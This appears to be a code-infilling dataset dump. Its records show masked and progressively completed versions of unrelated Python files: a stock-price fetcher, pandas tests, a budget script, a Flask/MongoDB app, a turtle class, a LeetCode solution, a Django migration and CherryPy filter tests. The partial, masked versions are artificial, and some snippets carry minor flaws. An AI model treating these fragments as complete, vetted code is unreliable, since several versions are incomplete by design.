'numpy>=1.18.1', 'pandas>=1.0.1', 'pymongo>=3.9.0', 'pymysql>=0.9.3', 'fake-useragent>=0.1.11', 'requests>=2.22.0', 'openpyxl>=3.0.3', # excel files resolving 'urllib3>=1.25.8', # some error type of http requests # 'matplotlib>=3.1.3', # for sub_slt_mdl.mdz # 'sklearn>=0.22.1', # for sub_slt_mdl.mdz # 'seaborn>=0.10.0', # for sub_slt_mdl.mdz # 'factor_analyzer>=0.3.2', # for sub_slt_mdl.mdz # 'joblib>=0.14.1', # for sub_slt_mdl.mdz # 'python-pptx>=0.6.19', # for sub_slt_ppt.ppz ], package_data={'pyzohar': ['samples/*.*']}, include_package_data=True, )
[ 0, 1, 2, 3, 4 ]
9,971
3c8e6a93c4d5616b9199cf473d298bfa2dc191af
<mask token>
<mask token> def grab_a_ticker(symbol='MSFT', apiKey=None): if apiKey is None: apiKey = os.environ.get('API_KEY') if not check_ticker_exists(symbol) and not check_blacklisted(symbol): requestUrl = ( 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}' ) metaDataUrl = ( 'https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}' ) data = get_data(requestUrl.format(symbol, apiKey)) metaData = get_data(metaDataUrl.format(symbol, apiKey)) df = pd.DataFrame(pd.DataFrame(data.get('Time Series (Daily)')). transpose()['4. close']).reset_index() df.columns = ['Date', 'Price'] df['Symbol'] = data['Meta Data']['2. Symbol'] if len(metaData['bestMatches']) > 0: met_df = pd.DataFrame(metaData['bestMatches'][0], index=[0])[[ '1. symbol', '2. name', '3. type', '4. region']].reset_index( ).drop(['index'], axis=1) met_df.columns = ['Symbol', 'Name', 'Type', 'Region'] else: print(metaData.keys()) met_df = pd.DataFrame() try: assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol df.to_sql('time_series', con=get_db(), if_exists='append', index=False) met_df.to_sql('stock_meta_data', con=get_db(), if_exists= 'append', index=False) except AssertionError as e: print("'Couldn't get it right with assertion error: {}".format( str(e))) update_blacklisted(symbol) except Exception as e: print(str(e)) update_blacklisted(symbol) else: print('Symbol {} already exists.'.format(symbol))
<mask token> def get_data(url, delay=20): while True: df = json.loads(urllib.request.urlopen(url).read()) if df.get('Note', 0) == 0: break time.sleep(20) return df def grab_a_ticker(symbol='MSFT', apiKey=None): if apiKey is None: apiKey = os.environ.get('API_KEY') if not check_ticker_exists(symbol) and not check_blacklisted(symbol): requestUrl = ( 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}' ) metaDataUrl = ( 'https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}' ) data = get_data(requestUrl.format(symbol, apiKey)) metaData = get_data(metaDataUrl.format(symbol, apiKey)) df = pd.DataFrame(pd.DataFrame(data.get('Time Series (Daily)')). transpose()['4. close']).reset_index() df.columns = ['Date', 'Price'] df['Symbol'] = data['Meta Data']['2. Symbol'] if len(metaData['bestMatches']) > 0: met_df = pd.DataFrame(metaData['bestMatches'][0], index=[0])[[ '1. symbol', '2. name', '3. type', '4. region']].reset_index( ).drop(['index'], axis=1) met_df.columns = ['Symbol', 'Name', 'Type', 'Region'] else: print(metaData.keys()) met_df = pd.DataFrame() try: assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol df.to_sql('time_series', con=get_db(), if_exists='append', index=False) met_df.to_sql('stock_meta_data', con=get_db(), if_exists= 'append', index=False) except AssertionError as e: print("'Couldn't get it right with assertion error: {}".format( str(e))) update_blacklisted(symbol) except Exception as e: print(str(e)) update_blacklisted(symbol) else: print('Symbol {} already exists.'.format(symbol))
import json import os import time import urllib.request import pandas as pd from lib.db.dbutils import check_blacklisted, check_ticker_exists, get_db, update_blacklisted def get_data(url, delay=20): while True: df = json.loads(urllib.request.urlopen(url).read()) if df.get('Note', 0) == 0: break time.sleep(20) return df def grab_a_ticker(symbol='MSFT', apiKey=None): if apiKey is None: apiKey = os.environ.get('API_KEY') if not check_ticker_exists(symbol) and not check_blacklisted(symbol): requestUrl = ( 'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}' ) metaDataUrl = ( 'https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}' ) data = get_data(requestUrl.format(symbol, apiKey)) metaData = get_data(metaDataUrl.format(symbol, apiKey)) df = pd.DataFrame(pd.DataFrame(data.get('Time Series (Daily)')). transpose()['4. close']).reset_index() df.columns = ['Date', 'Price'] df['Symbol'] = data['Meta Data']['2. Symbol'] if len(metaData['bestMatches']) > 0: met_df = pd.DataFrame(metaData['bestMatches'][0], index=[0])[[ '1. symbol', '2. name', '3. type', '4. region']].reset_index( ).drop(['index'], axis=1) met_df.columns = ['Symbol', 'Name', 'Type', 'Region'] else: print(metaData.keys()) met_df = pd.DataFrame() try: assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol df.to_sql('time_series', con=get_db(), if_exists='append', index=False) met_df.to_sql('stock_meta_data', con=get_db(), if_exists= 'append', index=False) except AssertionError as e: print("'Couldn't get it right with assertion error: {}".format( str(e))) update_blacklisted(symbol) except Exception as e: print(str(e)) update_blacklisted(symbol) else: print('Symbol {} already exists.'.format(symbol))
import json import os import time import urllib.request import pandas as pd from lib.db.dbutils import ( check_blacklisted, check_ticker_exists, get_db, update_blacklisted, ) def get_data(url, delay=20): while True: df = json.loads(urllib.request.urlopen(url).read()) if df.get("Note", 0) == 0: break time.sleep(20) return df def grab_a_ticker(symbol="MSFT", apiKey=None): if apiKey is None: apiKey = os.environ.get("API_KEY") # Check if ticker already exists in the database if not check_ticker_exists(symbol) and not check_blacklisted(symbol): requestUrl = r"https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={}&outputsize=full&apikey={}" metaDataUrl = r"https://www.alphavantage.co/query?function=SYMBOL_SEARCH&keywords={}&apikey={}" data = get_data(requestUrl.format(symbol, apiKey)) metaData = get_data(metaDataUrl.format(symbol, apiKey)) df = pd.DataFrame( pd.DataFrame(data.get("Time Series (Daily)")).transpose()[ "4. close" ] ).reset_index() df.columns = ["Date", "Price"] df["Symbol"] = data["Meta Data"]["2. Symbol"] if len(metaData["bestMatches"]) > 0: met_df = ( pd.DataFrame(metaData["bestMatches"][0], index=[0])[ ["1. symbol", "2. name", "3. type", "4. region"] ] .reset_index() .drop(["index"], axis=1) ) met_df.columns = ["Symbol", "Name", "Type", "Region"] else: print(metaData.keys()) met_df = pd.DataFrame() try: assert met_df.iloc[0, :].Symbol == df.iloc[0, :].Symbol df.to_sql( "time_series", con=get_db(), if_exists="append", index=False ) met_df.to_sql( "stock_meta_data", con=get_db(), if_exists="append", index=False, ) except AssertionError as e: print( "'Couldn't get it right with assertion error: {}".format( str(e) ) ) update_blacklisted(symbol) except Exception as e: print(str(e)) update_blacklisted(symbol) else: print("Symbol {} already exists.".format(symbol))
[ 0, 1, 2, 3, 4 ]
9,972
13b2fea09f5a4300563dd8870fe1841b47756b36
<mask token>
<mask token> def test_astype_invalid_nas_to_tdt64_raises(): idx = Index([NaT.asm8] * 2, dtype=object) msg = 'Cannot cast Index to dtype timedelta64\\[ns\\]' with pytest.raises(TypeError, match=msg): idx.astype('m8[ns]')
<mask token> def test_astype_str_from_bytes(): idx = Index(['あ', b'a'], dtype='object') result = idx.astype(str) expected = Index(['あ', 'a'], dtype='object') tm.assert_index_equal(result, expected) def test_astype_invalid_nas_to_tdt64_raises(): idx = Index([NaT.asm8] * 2, dtype=object) msg = 'Cannot cast Index to dtype timedelta64\\[ns\\]' with pytest.raises(TypeError, match=msg): idx.astype('m8[ns]')
import pytest from pandas import Index, NaT import pandas._testing as tm def test_astype_str_from_bytes(): idx = Index(['あ', b'a'], dtype='object') result = idx.astype(str) expected = Index(['あ', 'a'], dtype='object') tm.assert_index_equal(result, expected) def test_astype_invalid_nas_to_tdt64_raises(): idx = Index([NaT.asm8] * 2, dtype=object) msg = 'Cannot cast Index to dtype timedelta64\\[ns\\]' with pytest.raises(TypeError, match=msg): idx.astype('m8[ns]')
import pytest from pandas import ( Index, NaT, ) import pandas._testing as tm def test_astype_str_from_bytes(): # https://github.com/pandas-dev/pandas/issues/38607 idx = Index(["あ", b"a"], dtype="object") result = idx.astype(str) expected = Index(["あ", "a"], dtype="object") tm.assert_index_equal(result, expected) def test_astype_invalid_nas_to_tdt64_raises(): # GH#45722 don't cast np.datetime64 NaTs to timedelta64 NaT idx = Index([NaT.asm8] * 2, dtype=object) msg = r"Cannot cast Index to dtype timedelta64\[ns\]" with pytest.raises(TypeError, match=msg): idx.astype("m8[ns]")
[ 0, 1, 2, 3, 4 ]
9,973
1ad694c68ef264c6fbba4f4b9c069f22818d2816
<mask token>
<mask token> output.write("""{} {} {} {} {} {} {} """.format(line1, line2, line3, line4, line5, line6, line7))
<mask token> bank_data = 'Resources/budget_data.csv' bank_df = pd.read_csv(bank_data) total_months = bank_df['Date'].count() net_end = bank_df['Profit/Losses'].sum() bank_df['Change'] = bank_df['Profit/Losses'].diff() average_change = bank_df['Change'].mean() greatest_increase = bank_df['Change'].max() greatest_increase_month = bank_df.loc[bank_df['Change'] == greatest_increase, : ] greatest_decrease = bank_df['Change'].min() greatest_decrease_month = bank_df.loc[bank_df['Change'] == greatest_decrease, : ] financial_analysis = print('Financial Analysis'), print( '----------------------------'), print(f'Total Months: {total_months}' ), print(f'Total: {net_end}'), print( f'Average Change: ${round(average_change)}'), print( f'Greatest Increase in Profits:'), print(str(greatest_increase_month) ), print(f'Greatest Decrease in Profits:'), print(greatest_decrease_month) output = open('output.txt', 'w') line1 = 'Financial Analysis' line2 = '---------------------' line3 = str(f'Total Months: {total_months}') line4 = str(f'Total: {net_end}') line5 = str(f'Average Change: ${average_change}') line6 = str(f'Greatest Increase in Profits: {greatest_increase_month}') line7 = str(f'Greatest Decrease in Profits: {greatest_decrease_month}') output.write("""{} {} {} {} {} {} {} """.format(line1, line2, line3, line4, line5, line6, line7))
import pandas as pd bank_data = 'Resources/budget_data.csv' bank_df = pd.read_csv(bank_data) total_months = bank_df['Date'].count() net_end = bank_df['Profit/Losses'].sum() bank_df['Change'] = bank_df['Profit/Losses'].diff() average_change = bank_df['Change'].mean() greatest_increase = bank_df['Change'].max() greatest_increase_month = bank_df.loc[bank_df['Change'] == greatest_increase, : ] greatest_decrease = bank_df['Change'].min() greatest_decrease_month = bank_df.loc[bank_df['Change'] == greatest_decrease, : ] financial_analysis = print('Financial Analysis'), print( '----------------------------'), print(f'Total Months: {total_months}' ), print(f'Total: {net_end}'), print( f'Average Change: ${round(average_change)}'), print( f'Greatest Increase in Profits:'), print(str(greatest_increase_month) ), print(f'Greatest Decrease in Profits:'), print(greatest_decrease_month) output = open('output.txt', 'w') line1 = 'Financial Analysis' line2 = '---------------------' line3 = str(f'Total Months: {total_months}') line4 = str(f'Total: {net_end}') line5 = str(f'Average Change: ${average_change}') line6 = str(f'Greatest Increase in Profits: {greatest_increase_month}') line7 = str(f'Greatest Decrease in Profits: {greatest_decrease_month}') output.write("""{} {} {} {} {} {} {} """.format(line1, line2, line3, line4, line5, line6, line7))
# Dependencies import pandas as pd # Load in data file from resources bank_data = "Resources/budget_data.csv" # Read and display with pandas bank_df = pd.read_csv(bank_data) # Find the total number of months included in the dataset total_months = bank_df["Date"].count() # Find the total net amount of "Profit/Losses" over the entire period net_end = bank_df["Profit/Losses"].sum() # Create a new column that displays profit or loss between months bank_df["Change"] = bank_df["Profit/Losses"].diff() # Find the average change in "Profit/Losses" between months over the entire period average_change = bank_df["Change"].mean() # Find the greatest increase in profits (date and amount) over the entire period greatest_increase = bank_df["Change"].max() greatest_increase_month = bank_df.loc[bank_df["Change"] == greatest_increase, :] # Find the greatest decrease in losses (date and amount) over the entire period greatest_decrease = bank_df["Change"].min() greatest_decrease_month = bank_df.loc[bank_df["Change"] == greatest_decrease, :] # Print financial analysis financial_analysis = (print("Financial Analysis"), print("----------------------------"), print(f'Total Months: {total_months}'), print(f'Total: {net_end}'), print(f'Average Change: ${round(average_change)}'), print(f'Greatest Increase in Profits:'), print(str(greatest_increase_month)), print(f'Greatest Decrease in Profits:'), print(greatest_decrease_month)) # Export to .txt output = open("output.txt", "w") line1 = "Financial Analysis" line2 = "---------------------" line3 = str(f'Total Months: {total_months}') line4 = str(f'Total: {net_end}') line5 = str(f'Average Change: ${average_change}') line6 = str(f'Greatest Increase in Profits: {greatest_increase_month}') line7 = str(f'Greatest Decrease in Profits: {greatest_decrease_month}') output.write('{}\n{}\n{}\n{}\n{}\n{}\n{}\n'.format(line1,line2,line3,line4,line5,line6,line7))
[ 0, 1, 2, 3, 4 ]
9,974
05ca16303d0eb962249793164ac91795c45cc3c2
<mask token> @app.route('/') def showMachineList(): return render_template('list.html') @app.route('/insert_records', methods=['POST']) def insert_records(): json_data = request.json['info'] nome = json_data['nome'] email = json_data['email'] telefone = json_data['telefone'] db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone} ) return jsonify(status='OK', message='inserted successfully') @app.route('/get_records', methods=['POST']) def get_records(): contatos = db.catalogo.find() return render_template('list.html', contatos=contatos) <mask token>
<mask token> catalogo.insert_one(contato1) catalogo.insert_one(contato2) @app.route('/') def showMachineList(): return render_template('list.html') @app.route('/insert_records', methods=['POST']) def insert_records(): json_data = request.json['info'] nome = json_data['nome'] email = json_data['email'] telefone = json_data['telefone'] db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone} ) return jsonify(status='OK', message='inserted successfully') @app.route('/get_records', methods=['POST']) def get_records(): contatos = db.catalogo.find() return render_template('list.html', contatos=contatos) if __name__ == '__main__': app.run(debug=True)
<mask token> app = Flask(__name__) conexao = MongoClient('localhost', 27017) db = conexao['teste_db'] contato1 = {'nome': 'Lucas', 'email': '[email protected]', 'telefone': '11 99389-3244'} contato2 = {'nome': 'Lara', 'email': '[email protected]', 'telefone': '11 99333-3556'} catalogo = db.catalogo catalogo.insert_one(contato1) catalogo.insert_one(contato2) @app.route('/') def showMachineList(): return render_template('list.html') @app.route('/insert_records', methods=['POST']) def insert_records(): json_data = request.json['info'] nome = json_data['nome'] email = json_data['email'] telefone = json_data['telefone'] db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone} ) return jsonify(status='OK', message='inserted successfully') @app.route('/get_records', methods=['POST']) def get_records(): contatos = db.catalogo.find() return render_template('list.html', contatos=contatos) if __name__ == '__main__': app.run(debug=True)
from flask import Flask, render_template, request, url_for, redirect, jsonify, json, request from pymongo import MongoClient app = Flask(__name__) conexao = MongoClient('localhost', 27017) db = conexao['teste_db'] contato1 = {'nome': 'Lucas', 'email': '[email protected]', 'telefone': '11 99389-3244'} contato2 = {'nome': 'Lara', 'email': '[email protected]', 'telefone': '11 99333-3556'} catalogo = db.catalogo catalogo.insert_one(contato1) catalogo.insert_one(contato2) @app.route('/') def showMachineList(): return render_template('list.html') @app.route('/insert_records', methods=['POST']) def insert_records(): json_data = request.json['info'] nome = json_data['nome'] email = json_data['email'] telefone = json_data['telefone'] db.catalogo.insert_one({'nome': nome, 'email': email, 'telefone': telefone} ) return jsonify(status='OK', message='inserted successfully') @app.route('/get_records', methods=['POST']) def get_records(): contatos = db.catalogo.find() return render_template('list.html', contatos=contatos) if __name__ == '__main__': app.run(debug=True)
from flask import Flask, render_template, request, url_for, redirect,jsonify,json,request from pymongo import MongoClient #conexão bd app = Flask(__name__) conexao = MongoClient('localhost',27017) db = conexao['teste_db'] #inserindo contatos iniciais contato1 = {'nome': 'Lucas', 'email': '[email protected]', 'telefone': '11 99389-3244'} contato2 = {'nome': 'Lara', 'email': '[email protected]', 'telefone': '11 99333-3556'} catalogo = db.catalogo catalogo.insert_one(contato1) catalogo.insert_one(contato2) #página inicial @app.route('/') def showMachineList(): return render_template('list.html') @app.route("/insert_records", methods=['POST']) def insert_records(): json_data = request.json['info'] nome = json_data['nome'] email = json_data['email'] telefone = json_data['telefone'] db.catalogo.insert_one({ 'nome':nome,'email':email,'telefone':telefone }) return jsonify(status='OK',message='inserted successfully') @app.route('/get_records',methods=['POST']) def get_records(): contatos = db.catalogo.find() return render_template('list.html',contatos=contatos) if __name__ == "__main__": app.run(debug=True)
[ 3, 4, 5, 6, 7 ]
9,975
668b63d1f1bd035226e3e12bc6816abc897affc3
<mask token> class Planet: def __init__(self, x, y, radius): self.radius = radius self.x = x self.y = y canvas = Screen() canvas.setup(800, 800) self.turtle = Turtle() <mask token> def scaleSize(self, scale): self.radius = self.radius * scale def draw(self, colour): self.turtle.goto(self.x, self.y) self.turtle.color(colour) self.turtle.dot(self.radius) <mask token>
<mask token> class Planet: def __init__(self, x, y, radius): self.radius = radius self.x = x self.y = y canvas = Screen() canvas.setup(800, 800) self.turtle = Turtle() def circumference(self): return 2 * 3.1415 * self.radius def scaleSize(self, scale): self.radius = self.radius * scale def draw(self, colour): self.turtle.goto(self.x, self.y) self.turtle.color(colour) self.turtle.dot(self.radius) <mask token>
<mask token> class Planet: def __init__(self, x, y, radius): self.radius = radius self.x = x self.y = y canvas = Screen() canvas.setup(800, 800) self.turtle = Turtle() def circumference(self): return 2 * 3.1415 * self.radius def scaleSize(self, scale): self.radius = self.radius * scale def draw(self, colour): self.turtle.goto(self.x, self.y) self.turtle.color(colour) self.turtle.dot(self.radius) planet1 = Planet(-200, -100, 200) planet1.draw('red') print('Circumference *check the maths!* is:', planet1.circumference()) planet1.scaleSize(0.5) planet1.draw('yellow') planet2 = Planet(300, 200, 100) planet2.draw('black')
from turtle import * class Planet: def __init__(self, x, y, radius): self.radius = radius self.x = x self.y = y canvas = Screen() canvas.setup(800, 800) self.turtle = Turtle() def circumference(self): return 2 * 3.1415 * self.radius def scaleSize(self, scale): self.radius = self.radius * scale def draw(self, colour): self.turtle.goto(self.x, self.y) self.turtle.color(colour) self.turtle.dot(self.radius) planet1 = Planet(-200, -100, 200) planet1.draw('red') print('Circumference *check the maths!* is:', planet1.circumference()) planet1.scaleSize(0.5) planet1.draw('yellow') planet2 = Planet(300, 200, 100) planet2.draw('black')
# Planet Class from turtle import * class Planet: def __init__(self, x, y, radius): self.radius = radius self.x = x self.y = y canvas = Screen() canvas.setup(800, 800) self.turtle = Turtle() def circumference(self): return 2*3.1415*self.radius def scaleSize(self, scale): self.radius = self.radius*scale def draw(self, colour): self.turtle.goto(self.x, self.y) self.turtle.color(colour) self.turtle.dot(self.radius) #====instance of the class=== planet1 = Planet(-200, -100, 200) planet1.draw('red') print('Circumference *check the maths!* is:', planet1.circumference()) planet1.scaleSize(0.5) planet1.draw('yellow') planet2 = Planet(300, 200, 100) planet2.draw('black')
[ 4, 5, 7, 8, 9 ]
9,976
e4a2c605ef063eee46880515dfff05562916ab81
<mask token>
<mask token> class Solution: <mask token> <mask token>
<mask token> class Solution: def combine(self, n: int, k: int) ->List[List[int]]: if k == 0: return [[]] ans = [] for i in range(k, n + 1): for temp_ans in self.combine(i - 1, k - 1): ans.append(temp_ans + [i]) return ans <mask token>
import sys class Solution: def combine(self, n: int, k: int) ->List[List[int]]: if k == 0: return [[]] ans = [] for i in range(k, n + 1): for temp_ans in self.combine(i - 1, k - 1): ans.append(temp_ans + [i]) return ans <mask token>
# Problem No.: 77 # Solver: Jinmin Goh # Date: 20191230 # URL: https://leetcode.com/problems/combinations/ import sys class Solution: def combine(self, n: int, k: int) -> List[List[int]]: if k == 0: return [[]] ans = [] for i in range(k, n + 1) : for temp_ans in self.combine(i - 1, k - 1): ans.append(temp_ans + [i]) return ans """ # correct for 26/27 and TLE class Solution: def combine(self, n: int, k: int) -> List[List[int]]: if k == 0: return [[]] if n < k: return [] nList = [i + 1 for i in range(n)] if n == k: return [nList] if n == k: return [[i + 1] for i in range(n)] self.ans = [] if n//2 > k: self.makeFunc(nList[:], k, []) else: self.delFunc(n-k, nList) return self.ans def makeFunc(self, nList: list, k: int, temp_ans: list) -> None: if k == 0: temp_ans.sort() if temp_ans not in self.ans: self.ans.append(temp_ans) return else: return else: for i in range(len(nList)): temp = nList[:] temp_temp_ans = temp_ans[:] temp_temp_ans.append(nList[i]) temp.pop(i) self.makeFunc(temp[:], k-1, temp_temp_ans[:]) def delFunc(self, k: int, temp_ans: list) -> None: if k == 0: temp_ans.sort() if temp_ans not in self.ans: self.ans.append(temp_ans) return else: return else: for i in range(len(temp_ans)): temp = temp_ans[:] temp.pop(i) self.delFunc(k-1, temp[:]) """
[ 0, 1, 2, 3, 4 ]
9,977
d0a053faccecddc84a9556aec3dff691b171df96
<mask token>
<mask token> class Migration(migrations.Migration): <mask token> <mask token>
<mask token> class Migration(migrations.Migration): dependencies = [('event', '0009_auto_20211001_0406')] operations = [migrations.AlterField(model_name='event', name='map', field=django_resized.forms.ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa del evento', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models. event.event_pictures, verbose_name='Mapa')), migrations.AlterField( model_name='eventagenda', name='map', field=django_resized.forms. ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa de la exposicion', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models.event_agenda. event_pictures, verbose_name='Mapa'))]
from django.db import migrations import django_resized.forms import event.models.event import event.models.event_agenda class Migration(migrations.Migration): dependencies = [('event', '0009_auto_20211001_0406')] operations = [migrations.AlterField(model_name='event', name='map', field=django_resized.forms.ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa del evento', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models. event.event_pictures, verbose_name='Mapa')), migrations.AlterField( model_name='eventagenda', name='map', field=django_resized.forms. ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa de la exposicion', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models.event_agenda. event_pictures, verbose_name='Mapa'))]
# Generated by Django 3.2.7 on 2021-10-01 06:43 from django.db import migrations import django_resized.forms import event.models.event import event.models.event_agenda class Migration(migrations.Migration): dependencies = [ ('event', '0009_auto_20211001_0406'), ] operations = [ migrations.AlterField( model_name='event', name='map', field=django_resized.forms.ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa del evento', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models.event.event_pictures, verbose_name='Mapa'), ), migrations.AlterField( model_name='eventagenda', name='map', field=django_resized.forms.ResizedImageField(blank=True, crop=None, force_format='JPEG', help_text='Mapa de la exposicion', keep_meta=True, null=True, quality=90, size=[1920, 1080], upload_to=event.models.event_agenda.event_pictures, verbose_name='Mapa'), ), ]
[ 0, 1, 2, 3, 4 ]
9,978
8a412231c13df1b364b6e2a27549730d06048186
<mask token> class FilterTests(helper.CPWebCase): def testCPFilterList(self): self.getPage('/cpfilterlist/') self.assertBody('A horrorshow lomtick of cherry 3.14159') self.getPage('/cpfilterlist/ended/1') self.assertBody('True') valerr = '\n raise ValueError()\nValueError' self.getPage('/cpfilterlist/err') self.assertErrorPage(500, pattern=valerr) self.getPage('/cpfilterlist/ended/3') self.assertBody('True') self.getPage('/cpfilterlist/errinstream') self.assertStatus('200 OK') self.assertBody('Unrecoverable error in the server.') self.getPage('/cpfilterlist/ended/5') self.assertBody('True') self.getPage('/cpfilterlist/restricted') self.assertErrorPage(401) def testGuaranteedFilters(self): self.getPage('/cpfilterlist/err_in_onstart') self.assertErrorPage(500) self.assertInBody( "AttributeError: 'Request' object has no attribute 'numerify_map'") <mask token>
<mask token> class AccessFilter(BaseFilter): def before_request_body(self): if not cherrypy.config.get('access_filter.on', False): return if not getattr(cherrypy.request, 'login', None): raise cherrypy.HTTPError(401) def setup_server(): class Numerify(BaseFilter): def on_start_resource(self): m = cherrypy.config.get('numerify_filter.map', {}) cherrypy.request.numerify_map = m.items() def before_finalize(self): if not cherrypy.config.get('numerify_filter.on', False): return def number_it(body): for chunk in body: for k, v in cherrypy.request.numerify_map: chunk = chunk.replace(k, v) yield chunk cherrypy.response.body = number_it(cherrypy.response.body) class NadsatFilter: def __init__(self): self.counter = 0 self.ended = {} def before_main(self): cherrypy.request.counter = self.counter = self.counter + 1 self.ended[cherrypy.request.counter] = False def before_finalize(self): def nadsat_it_up(body): for chunk in body: chunk = chunk.replace('good', 'horrorshow') chunk = chunk.replace('piece', 'lomtick') yield chunk cherrypy.response.body = nadsat_it_up(cherrypy.response.body) def on_end_request(self): cherrypy.response.body = 'razdrez' self.ended[cherrypy.request.counter] = True class Root: def index(self): return 'Howdy earth!' index.exposed = True cherrypy.root = Root() class TestType(type): """Metaclass which automatically exposes all functions in each subclass, and adds an instance of the subclass as an attribute of cherrypy.root. """ def __init__(cls, name, bases, dct): type.__init__(name, bases, dct) for value in dct.itervalues(): if isinstance(value, types.FunctionType): value.exposed = True setattr(cherrypy.root, name.lower(), cls()) class Test(object): __metaclass__ = TestType class CPFilterList(Test): _cp_filters = [NadsatFilter()] def index(self): return 'A good piece of cherry pie' def ended(self, id): return repr(self._cp_filters[0].ended[int(id)]) def err(self): raise ValueError() def errinstream(self): raise ValueError() yield 'confidential' def restricted(self): return 'Welcome!' def err_in_onstart(self): return 'success!' cherrypy.config.update({'global': {'server.input_filters': [ 'cherrypy.test.test_custom_filters.AccessFilter'], 'server.log_to_screen': False, 'server.environment': 'production', 'server.show_tracebacks': True}, '/cpfilterlist': { 'numerify_filter.on': True, 'numerify_filter.map': {'pie': '3.14159'}}, '/cpfilterlist/restricted': {'access_filter.on': True, 'server.show_tracebacks': False}, '/cpfilterlist/errinstream': { 'stream_response': True}, '/cpfilterlist/err_in_onstart': { 'numerify_filter.map': 'pie->3.14159'}}) filters.input_filters.insert(0, Numerify) filters.output_filters.insert(0, Numerify) filters.init() <mask token> class FilterTests(helper.CPWebCase): def testCPFilterList(self): self.getPage('/cpfilterlist/') self.assertBody('A horrorshow lomtick of cherry 3.14159') self.getPage('/cpfilterlist/ended/1') self.assertBody('True') valerr = '\n raise ValueError()\nValueError' self.getPage('/cpfilterlist/err') self.assertErrorPage(500, pattern=valerr) self.getPage('/cpfilterlist/ended/3') self.assertBody('True') self.getPage('/cpfilterlist/errinstream') self.assertStatus('200 OK') self.assertBody('Unrecoverable error in the server.') self.getPage('/cpfilterlist/ended/5') self.assertBody('True') self.getPage('/cpfilterlist/restricted') self.assertErrorPage(401) def testGuaranteedFilters(self): self.getPage('/cpfilterlist/err_in_onstart') self.assertErrorPage(500) self.assertInBody( "AttributeError: 'Request' object has no attribute 'numerify_map'") <mask token>
<mask token> test.prefer_parent_path() <mask token> class AccessFilter(BaseFilter): def before_request_body(self): if not cherrypy.config.get('access_filter.on', False): return if not getattr(cherrypy.request, 'login', None): raise cherrypy.HTTPError(401) def setup_server(): class Numerify(BaseFilter): def on_start_resource(self): m = cherrypy.config.get('numerify_filter.map', {}) cherrypy.request.numerify_map = m.items() def before_finalize(self): if not cherrypy.config.get('numerify_filter.on', False): return def number_it(body): for chunk in body: for k, v in cherrypy.request.numerify_map: chunk = chunk.replace(k, v) yield chunk cherrypy.response.body = number_it(cherrypy.response.body) class NadsatFilter: def __init__(self): self.counter = 0 self.ended = {} def before_main(self): cherrypy.request.counter = self.counter = self.counter + 1 self.ended[cherrypy.request.counter] = False def before_finalize(self): def nadsat_it_up(body): for chunk in body: chunk = chunk.replace('good', 'horrorshow') chunk = chunk.replace('piece', 'lomtick') yield chunk cherrypy.response.body = nadsat_it_up(cherrypy.response.body) def on_end_request(self): cherrypy.response.body = 'razdrez' self.ended[cherrypy.request.counter] = True class Root: def index(self): return 'Howdy earth!' index.exposed = True cherrypy.root = Root() class TestType(type): """Metaclass which automatically exposes all functions in each subclass, and adds an instance of the subclass as an attribute of cherrypy.root. """ def __init__(cls, name, bases, dct): type.__init__(name, bases, dct) for value in dct.itervalues(): if isinstance(value, types.FunctionType): value.exposed = True setattr(cherrypy.root, name.lower(), cls()) class Test(object): __metaclass__ = TestType class CPFilterList(Test): _cp_filters = [NadsatFilter()] def index(self): return 'A good piece of cherry pie' def ended(self, id): return repr(self._cp_filters[0].ended[int(id)]) def err(self): raise ValueError() def errinstream(self): raise ValueError() yield 'confidential' def restricted(self): return 'Welcome!' def err_in_onstart(self): return 'success!' cherrypy.config.update({'global': {'server.input_filters': [ 'cherrypy.test.test_custom_filters.AccessFilter'], 'server.log_to_screen': False, 'server.environment': 'production', 'server.show_tracebacks': True}, '/cpfilterlist': { 'numerify_filter.on': True, 'numerify_filter.map': {'pie': '3.14159'}}, '/cpfilterlist/restricted': {'access_filter.on': True, 'server.show_tracebacks': False}, '/cpfilterlist/errinstream': { 'stream_response': True}, '/cpfilterlist/err_in_onstart': { 'numerify_filter.map': 'pie->3.14159'}}) filters.input_filters.insert(0, Numerify) filters.output_filters.insert(0, Numerify) filters.init() <mask token> class FilterTests(helper.CPWebCase): def testCPFilterList(self): self.getPage('/cpfilterlist/') self.assertBody('A horrorshow lomtick of cherry 3.14159') self.getPage('/cpfilterlist/ended/1') self.assertBody('True') valerr = '\n raise ValueError()\nValueError' self.getPage('/cpfilterlist/err') self.assertErrorPage(500, pattern=valerr) self.getPage('/cpfilterlist/ended/3') self.assertBody('True') self.getPage('/cpfilterlist/errinstream') self.assertStatus('200 OK') self.assertBody('Unrecoverable error in the server.') self.getPage('/cpfilterlist/ended/5') self.assertBody('True') self.getPage('/cpfilterlist/restricted') self.assertErrorPage(401) def testGuaranteedFilters(self): self.getPage('/cpfilterlist/err_in_onstart') self.assertErrorPage(500) self.assertInBody( "AttributeError: 'Request' object has no attribute 'numerify_map'") if __name__ == '__main__': setup_server() helper.testmain()
